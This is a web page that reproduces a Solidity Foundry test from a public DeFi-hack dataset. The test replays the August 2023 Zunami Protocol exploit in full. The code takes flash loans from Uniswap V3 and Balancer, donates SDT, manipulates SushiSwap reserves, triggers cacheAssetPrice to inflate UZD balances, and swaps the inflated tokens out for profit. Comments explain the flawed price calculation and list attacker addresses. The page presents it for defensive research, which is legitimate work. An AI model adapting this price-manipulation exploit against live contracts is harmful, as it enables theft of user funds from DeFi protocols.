Skip to content
THREATWIRE

Public reproduction file

src/test/2023-08/Zunami_exp.sol

Public reproduction file for dataset entry ZunamiProtocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/Zunami_exp.sol199 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~2M USD$
8// Attacker : https://etherscan.io/address/0x5f4c21c9bb73c8b4a296cc256c0cde324db146df
9// Attack Contract : https://etherscan.io/address/0xa21a2b59d80dc42d332f778cbb9ea127100e5d75
10// Vulnerable Contract : https://etherscan.io/address/0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c
11// Attack Tx : https://etherscan.io/tx/0x0788ba222970c7c68a738b0e08fb197e669e61f9b226ceec4cab9b85abe8cceb
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c#code
16// @Analysis
17// Twitter Guy : https://twitter.com/peckshield/status/1690877589005778945
18// Twitter Guy : https://twitter.com/BlockSecTeam/status/1690931111776358400
20interface IUZD is IERC20 {
21 function cacheAssetPrice() external;
24interface ICurve {
25 function exchange(
26 uint256 i,
27 uint256 j,
28 uint256 dx,
29 uint256 min_dy,
30 bool use_eth,
31 address receiver
32 ) external returns (uint256);
35contract ContractTest is Test {
36 IUZD UZD = IUZD(0xb40b6608B2743E691C9B54DdBDEe7bf03cd79f1c);
37 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
38 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
39 IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);
40 IERC20 crvFRAX = IERC20(0x3175Df0976dFA876431C2E9eE6Bc45b65d3473CC);
41 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
42 IERC20 SDT = IERC20(0x73968b9a57c6E53d41345FD57a6E6ae27d6CDB2F);
43 IERC20 FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);
44 ICurvePool FRAX_USDC_POOL = ICurvePool(0xDcEF968d416a41Cdac0ED8702fAC8128A64241A2);
45 ICurvePool UZD_crvFRAX_POOL = ICurvePool(0x68934F60758243eafAf4D2cFeD27BF8010bede3a);
46 ICurvePool crvUSD_USDC_POOL = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);
47 ICurvePool crvUSD_UZD_POOL = ICurvePool(0xfC636D819d1a98433402eC9dEC633d864014F28C);
48 ICurvePool Curve3POOL = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
49 ICurve ETH_SDT_POOL = ICurve(0xfB8814D005C5f32874391e888da6eB2fE7a27902);
50 Uni_Router_V2 sushiRouter = Uni_Router_V2(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
51 Uni_Pair_V3 USDC_WETH_Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);
52 Uni_Pair_V3 USDC_USDT_Pair = Uni_Pair_V3(0x3416cF6C708Da44DB2624D63ea0AAef7113527C6);
53 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
54 address MIMCurveStakeDao = 0x9848EDb097Bee96459dFf7609fb582b80A8F8EfD;
56 function setUp() public {
57 vm.createSelectFork("mainnet", 17_908_949);
58 vm.label(address(WETH), "WETH");
59 vm.label(address(USDC), "USDC");
60 vm.label(address(UZD), "UZD");
61 vm.label(address(crvUSD), "crvUSD");
62 vm.label(address(crvFRAX), "crvFRAX");
63 vm.label(address(USDT), "USDT");
64 vm.label(address(FRAX), "FRAX");
65 vm.label(address(FRAX_USDC_POOL), "FRAX_USDC_POOL");
66 vm.label(address(UZD_crvFRAX_POOL), "UZD_crvFRAX_POOL");
67 vm.label(address(crvUSD_USDC_POOL), "crvUSD_USDC_POOL");
68 vm.label(address(crvUSD_UZD_POOL), "crvUSD_UZD_POOL");
69 vm.label(address(Curve3POOL), "Curve3POOL");
70 vm.label(address(ETH_SDT_POOL), "ETH_SDT_POOL");
71 vm.label(address(sushiRouter), "sushiRouter");
72 vm.label(address(USDC_WETH_Pair), "USDC_WETH_Pair");
73 vm.label(address(USDC_USDT_Pair), "USDC_USDT_Pair");
74 vm.label(address(Balancer), "Balancer");
75 vm.label(address(MIMCurveStakeDao), "MIMCurveStakeDao");
76 }
78 function testExploit() external {
79 USDC_USDT_Pair.flash(address(this), 0, 7_000_000 * 1e6, abi.encode(7_000_000 * 1e6));
81 emit log_named_decimal_uint(
82 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
83 );
85 emit log_named_decimal_uint(
86 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
87 );
88 }
90 function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
91 BalancerFlashLoan();
93 uint256 amount = abi.decode(data, (uint256));
94 TransferHelper.safeTransfer(address(USDT), address(USDC_USDT_Pair), amount1 + amount);
95 }
97 function BalancerFlashLoan() internal {
98 address[] memory tokens = new address[](2);
99 tokens[0] = address(USDC);
100 tokens[1] = address(WETH);
101 uint256[] memory amounts = new uint256[](2);
102 amounts[0] = 7_000_000 * 1e6;
103 amounts[1] = 10_011 ether;
104 bytes memory userData = "";
105 Balancer.flashLoan(address(this), tokens, amounts, userData);
106 }
108 // balancer flashloan callback
109 function receiveFlashLoan(
110 address[] memory tokens,
111 uint256[] memory amounts,
112 uint256[] memory feeAmounts,
113 bytes memory userData
114 ) external {
115 apporveAll();
117 uint256[2] memory amount;
118 amount[0] = 0;
119 amount[1] = 5_750_000 * 1e6;
120 uint256 crvFRAXBalance = FRAX_USDC_POOL.add_liquidity(amount, 0); // mint crvFRAX
122 UZD_crvFRAX_POOL.exchange(1, 0, crvFRAXBalance, 0, address(this)); // swap crvFRAX to UZD
124 crvUSD_USDC_POOL.exchange(0, 1, 1_250_000 * 1e6, 0, address(this)); // swap USDC to crvUSD
126 crvUSD_UZD_POOL.exchange(1, 0, crvUSD.balanceOf(address(this)), 0, address(this)); // swap crvUSD to UZD
128 ETH_SDT_POOL.exchange(0, 1, 11 ether, 0, false, address(this)); // swap WETH to SDT
130 // @Vulnerability Code:
131 // UZD balanceOf return value is manipulated by the following values
132 // uint256 amountIn = sdtEarned + _config.sdt.balanceOf(address(this)); -> get SDT amount in MIMCurveStakeDao
133 // uint256 sdtEarningsInFeeToken = priceTokenByExchange(amountIn, _config.sdtToFeeTokenPath); -> sushi router.getAmountsOut(amountIn, exchangePath); path: SDT -> WETH -> USDT
134 emit log_named_decimal_uint(
135 "Before donation and reserve manipulation, UZD balance", UZD.balanceOf(address(this)), WETH.decimals()
136 );
137 SDT.transfer(MIMCurveStakeDao, SDT.balanceOf(address(this))); // donate SDT to MIMCurveStakeDao, inflate UZD balance
139 swapToken1Totoken2(WETH, SDT, 10_000 ether); // swap WETH to SDT by sushi router
140 uint256 value = swapToken1Totoken2(USDT, WETH, 7_000_000 * 1e6); // swap USDT to WETH by sushi router
142 UZD.cacheAssetPrice(); // rebase UZD balance
144 emit log_named_decimal_uint(
145 "After donation and reserve manipulation, UZD balance", UZD.balanceOf(address(this)), WETH.decimals()
146 );
148 swapToken1Totoken2(SDT, WETH, SDT.balanceOf(address(this))); // swap SDT to WETH
149 swapToken1Totoken2(WETH, USDT, value); // swap WETH to USDT
151 UZD_crvFRAX_POOL.exchange(0, 1, UZD.balanceOf(address(this)) * 84 / 100, 0, address(this)); // swap UZD to crvFRAX
153 crvUSD_UZD_POOL.exchange(0, 1, UZD.balanceOf(address(this)), 0, address(this)); // swap UZD to crvUSD
155 FRAX_USDC_POOL.remove_liquidity(crvFRAX.balanceOf(address(this)), [uint256(0), uint256(0)]); // burn crvFRAX
157 FRAX_USDC_POOL.exchange(0, 1, FRAX.balanceOf(address(this)), 0); // swap FRAX to USDC
159 crvUSD_USDC_POOL.exchange(1, 0, crvUSD.balanceOf(address(this)), 0, address(this)); // swap crvUSD to USDC
161 Curve3POOL.exchange(1, 2, 25_920 * 1e6, 0); // swap USDC to USDT
163 uint256 swapAmount = USDC.balanceOf(address(this)) - amounts[0];
164 USDC_WETH_Pair.swap(address(this), true, int256(swapAmount), 920_316_691_481_336_325_637_286_800_581_326, ""); // swap USDC to WETH
166 IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);
167 IERC20(tokens[1]).transfer(msg.sender, amounts[1] + feeAmounts[1]);
168 }
170 function apporveAll() internal {
171 USDC.approve(address(FRAX_USDC_POOL), type(uint256).max);
172 crvFRAX.approve(address(UZD_crvFRAX_POOL), type(uint256).max);
173 UZD.approve(address(UZD_crvFRAX_POOL), type(uint256).max);
174 USDC.approve(address(crvUSD_USDC_POOL), type(uint256).max);
175 crvUSD.approve(address(crvUSD_USDC_POOL), type(uint256).max);
176 crvUSD.approve(address(crvUSD_UZD_POOL), type(uint256).max);
177 UZD.approve(address(crvUSD_UZD_POOL), type(uint256).max);
178 WETH.approve(address(ETH_SDT_POOL), type(uint256).max);
179 USDC.approve(address(Curve3POOL), type(uint256).max);
180 USDC.approve(address(USDC_WETH_Pair), type(uint256).max);
181 WETH.approve(address(sushiRouter), type(uint256).max);
182 SDT.approve(address(sushiRouter), type(uint256).max);
183 TransferHelper.safeApprove(address(USDT), address(sushiRouter), type(uint256).max);
184 FRAX.approve(address(FRAX_USDC_POOL), type(uint256).max);
185 }
187 function swapToken1Totoken2(IERC20 token1, IERC20 token2, uint256 amountIn) internal returns (uint256) {
188 address[] memory path = new address[](2);
189 path[0] = address(token1);
190 path[1] = address(token2);
191 uint256[] memory values =
192 sushiRouter.swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);
193 return values[1];
194 }
196 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
197 USDC.transfer(msg.sender, uint256(amount0Delta));
198 }

Analysis

Dataset entry

Public Foundry test for “ZunamiProtocol” (2023-08-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5f4c21c9bb73c8b4a296cc256c0cde324db146df

  • Attack Contract

    0xa21a2b59d80dc42d332f778cbb9ea127100e5d75

  • Vulnerable Contract

    0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c

  • Attack Tx

    0x0788ba222970c7c68a738b0e08fb197e669e61f9b226ceec4cab9b85abe8cceb

File record

Name
ZunamiProtocol
Path
src/test/2023-08/Zunami_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
19a142a1bb04b2532c977cedfeb17b1e7d9612cb
Language
Solidity
Size
200 lines
Date
2023-08-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-08/Zunami_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 19a142a1bb04b2532c977cedfeb17b1e7d9612cb, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.